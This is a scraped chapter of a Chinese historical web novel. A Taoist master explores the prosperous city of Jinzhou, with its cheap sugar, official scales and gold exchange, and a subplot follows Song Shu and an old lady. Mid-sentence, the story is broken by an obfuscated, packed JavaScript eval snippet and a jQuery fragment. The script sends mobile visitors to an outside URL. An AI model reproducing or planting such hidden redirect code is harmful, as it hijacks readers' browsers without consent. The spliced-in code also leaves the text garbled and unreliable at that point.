青云观主当即就瞪了眼小徒弟。
就你会吃,这么贵的东西,打算要人家的命不成?
散尘道长倒抽一口凉气,不敢看师父的眼神。
老观主转身就打算走,可对上三个徒孙眼巴巴的目光——
哎~
“你,这糖人不便宜吧?”
小贩尴尬一笑,“不瞒您说,毕竟是加了蜂蜜的,自然是比寻常的要贵些。
图案简单些的一文钱一个,难的两文钱一个。”
“什么?”散尘道长当即凑上前,不敢相信自己听到了什么。
小贩估计也是觉得有些不好意思,“贵是贵了些,但我这用得可都是真材实料。
要不这样您若是买两个两文的,我再格外送您一个一文的如何?”
散尘道长张张嘴,下意识转头望向青云观主。
老观主愣着片刻,忽地低笑出声,“不必了,小师傅帮我做六个糖人。”
闲鹤道长背着大包小包的行囊,好笑地凑上前。
“师父莫不是发了大财,居然有闲心请我和小师弟吃糖人了。”
老观主没理会这个大徒弟,将多喜交给散尘道长挑选糖人后,自己背着手和摊主交谈了起来。
“小师傅,老道年岁大了有些糊涂,不知这糖价为何如此便宜。”
小贩手下动作熟稔,嘴上还不忘回答老观主的问题。
“老道长是外地来的吧?”
青云观主:“正是。”
“那就不奇怪了,金州如今同南平互通商贸,专门制作那什么金州雪糖。
那玩意金贵,说是比黄金还稀罕,十斤蔗糖才能出一两雪糖。
剩下的蔗糖,作坊就便宜卖给咱们。”
老道长轻捻胡须,“小师傅,这作坊是谁家产业?”
小贩摇头,“谁家的也不是,有府衙直接掌管。
不仅如此,还有制盐作坊,您是不知道那制出来的盐,雪白雪白,好看极了。”
白盐啊,这倒是没什么稀奇。
大抵是听到这些心情颇为愉悦,青云观主甚至开口调侃道,“哦,那这盐比江陵府的白盐那个更好?”
小贩道:“您这不是说笑的吗?咱们金州产出的那可是苦盐,不是发黄就是发黑。
制盐作坊产出来的盐,虽然好了不少,但多少还是有那个一丢丢的苦味。
咱们这种平头老百姓图便宜,稍稍有钱些的,还是乐意买江陵的盐。”
两人有说有聊,直到青云道长看着手中的糖人,轻轻咬了口。
甜蜜的滋味萦绕在口腔,他便与一群人随意找了家歇脚的客栈住下。
青云道长嘱咐徒弟看好孩子,自己大步走出客栈。
石清子临走前,自己只带走了五枚金饼,又给自己两个徒儿一人留下五枚,剩下的全部交给了青云道长,留作日后修缮道观。
这会儿青云道长就取出了一枚金饼随意找了家钱帛铺,打算兑换些钱财作为日常花销。
才刚进门,青云观主就看到了柜台正中间摆放着的秤杆。
他抬手指向那杆秤,“这秤为何摆放在外面,就不怕被人偷拿了去?”
掌柜没好气的翻了个白眼,“这可是官府的秤,日日衙役过来巡查,谁敢拿?”
青云观主这下更加的不解,“这,这又是为何?”
提到这掌柜更加的不爽了,重重的哼了声。
“还能为什么,怕咱们暗中克扣分量呗?”
也正是这个时候,对面的金银铺子忽然传来喧闹声。
这样的时代,看热闹是需要资本的。
为了不伤及自己的性命,青云观主选择了漠视。
可这时刚刚还躺在椅子上懒洋洋的掌柜,打扫卫生的伙计等人动作猛地一滞,耳根微动。
随后在掌柜的带领下蜂拥而出,站在店门口垫脚凑热闹。
青云道长蹙眉,这家铺子好生不靠谱。
伙计:“哎呦,老李家胆子可真大,官府管得这么严,他家居然还有胆子缺斤少两。”
掌柜:“哎呀,快看,衙役来了。”
伙计:“嘶——怎么市丞和市令也来了?”
掌柜:“蠢货,上次市丞不是亲自带人说过了吗?
一条街谁家缺斤少两,货不对版,叫他被克扣了俸禄,要咱们好看。”
所有人就这么眼瞅着老李家的打造金银物件的铺子,在老李哭天抢地的哭喊声中被钉上了个木牌。
上面只有四个赤红色大字“下等商铺”。
因为实在太过好奇跟着凑上前的青云观主无意识般将这四个大字念出了声。
“下等商铺,这,这是什么意思?”
掌柜咂咂嘴,“哦,老道长是外地的吧?这是官府对那些缺斤少两铺子的标注,提醒街坊邻里日后注意些。”
“那,这要挂多久”,老道长反问。
掌柜:“第一次十日,第二次一月,第三次三月,外加停业整顿一月。若再有下次加收半成商税。”
“这算啥”,伙计笑嘻嘻的凑上前,“若是坊市内出现缺斤少两被衙役标注了的,市丞和市令可是要扣俸禄的。”
青云观主明显是个健谈的小老头,同掌柜伙计来回攀谈。
掌柜将金饼放在手中来回放开检验,“不错,是咱们金州本地的麸金,七成纯度,大概十两。”
金饼被放入秤盘之中,不多不少刚好十两。
掌柜生怕对方不放心,又叫对方自己拿官府的秤再检验一番。
“虽是十两,但咱们的麸金纯度差些,只能按照七两的价给你算。
也就是五十六两银,亦或者五万六千文铜钱。
老道长打算换银两还是铜钱?”
老道长倒抽一口凉气,“怎,怎会如此高?襄州等地七两金若能换三十五两银便是天价了。”
甚至有些地方只能换到二十一两银。
许是心情不错,观主拿着自己换来的铜钱和银两买了好些零嘴。
原本是想给三个娃娃过个嘴瘾,可莫名他又想到了自己那两个混账弟子。
索性又来了些炙鸭,鱼脍,藕羹等等金州特色吃食。
眼看着日头西落,即将到了宵禁的时候,商贩却没有丝毫着急的样子。
应当是快酉时初刻了(下午五点)。
老观主顺口便问了一句:“店家,马上就要宵禁了,你们还不打算收摊吗?”
“不急,不急,咱们这要到亥时中刻(晚上十点)才开始宵禁,还要好一阵呢。”
老观主提着大包
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756022|208180||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小包回去的时候,两个徒弟险些惊呆了。
闲鹤道长双手抱胸斜靠在门框处:“我滴个老天,师父你这是发财了?”
散尘道长则是追在三个徒弟身后喂粥,见到师父回来直起身,又差点闪到了腰。
老观主狠瞪了两个徒弟一眼:“没眼力见的东西,还不快过来拿东西。”
“祖祖,多喜帮你!”
小丫头高高举起小胖手,格外认真盯着青云观主。
老观主的心都跟着一软,直接将一袋子糕点全部塞了给小丫头。
可另外两个因为有好吃的而凑过来的小子可就没这么好运了。
不仅没得到零嘴,还被师祖臭骂了一顿。
夜色逐渐笼罩整座金州城,老观主望了眼屋内的徒弟和徒孙,转头看向街道上昏黄的灯光。
“嗤——”
“散尘你好好待在客栈看孩子,闲鹤明日你随我出城看看。”
他不能被眼前的繁华迷了眼,还是要看看城外的情况再行定夺。
青云道长不知道的是,他这边还在衡量定夺的时候,团练使府内的某人却给他下了死刑。
老夫人望着宋舒脖颈处的棉布,面色阴沉到了极点。
“赵二,你就是这么照看人的?”
赵二后背渗出涔涔冷汗,低着头半句话都不敢多说。
宋舒心虚尬笑,“我的,问题。”
可老夫人一把甩开了宋舒的手,她不想听这些没用的。
“那个妖道在何处?”
眼睁睁看着老夫人拿起最心爱的长刀,宋舒终于意识到老夫人这一次是要来真的。
宋舒好一番劝说,老夫人还是不领情——
不仅如此,她还觉得是宋舒脑子有毛病。
“你可知乱世最先被害死的就是你这种好心人。”
宋舒握着老夫人的手,“那,老夫人,又,为什么,救我呢?”
老夫人抬头瞥了她一眼,“因为老婆子脑子有病。”
宋舒双手接过吴娘子送来的甜汤,笑容谄媚又讨好,“老,夫人,尝尝。”
老夫人冷哼一声,不想理会宋舒这副没皮没脸的模样,因此偏过了头。
宋舒当即起身,双手端着甜汤,笑眯眯的移动到老夫人面前。
“老夫人,尝尝嘛~”
那样一张脸,又配上刻意讨好的表情,老夫人怎么看怎么别扭,身体下意识后仰,怒骂出声。
“这般泼皮无赖,成何体统,给我出去。”
宋舒眨眨眼,不仅没出去,反而盘腿坐到了老夫人身侧。
“老夫人,说,道长,几日,返回?”
老夫人虽然依旧板着一张脸,却刻意侧身,同宋舒拉开距离。
但却鬼使神差地默认了,宋舒可以待在自己身侧。
“怎么,你就这么挂念着他?”
宋舒耸耸肩,“缺人,没,办法。”
也不知道裴邡到底什么时候才能回来,好想休假啊!
可能是太过挂念着裴邡,宋舒今夜又做梦了。
不过是个相当奇怪的梦,梦中的她站在城门处,望着沈述和裴邡的军队凯旋回朝。
身后好像有什么人忽然凑到她的耳边,“功高震主,悯儿你说朕该如此处置才好?”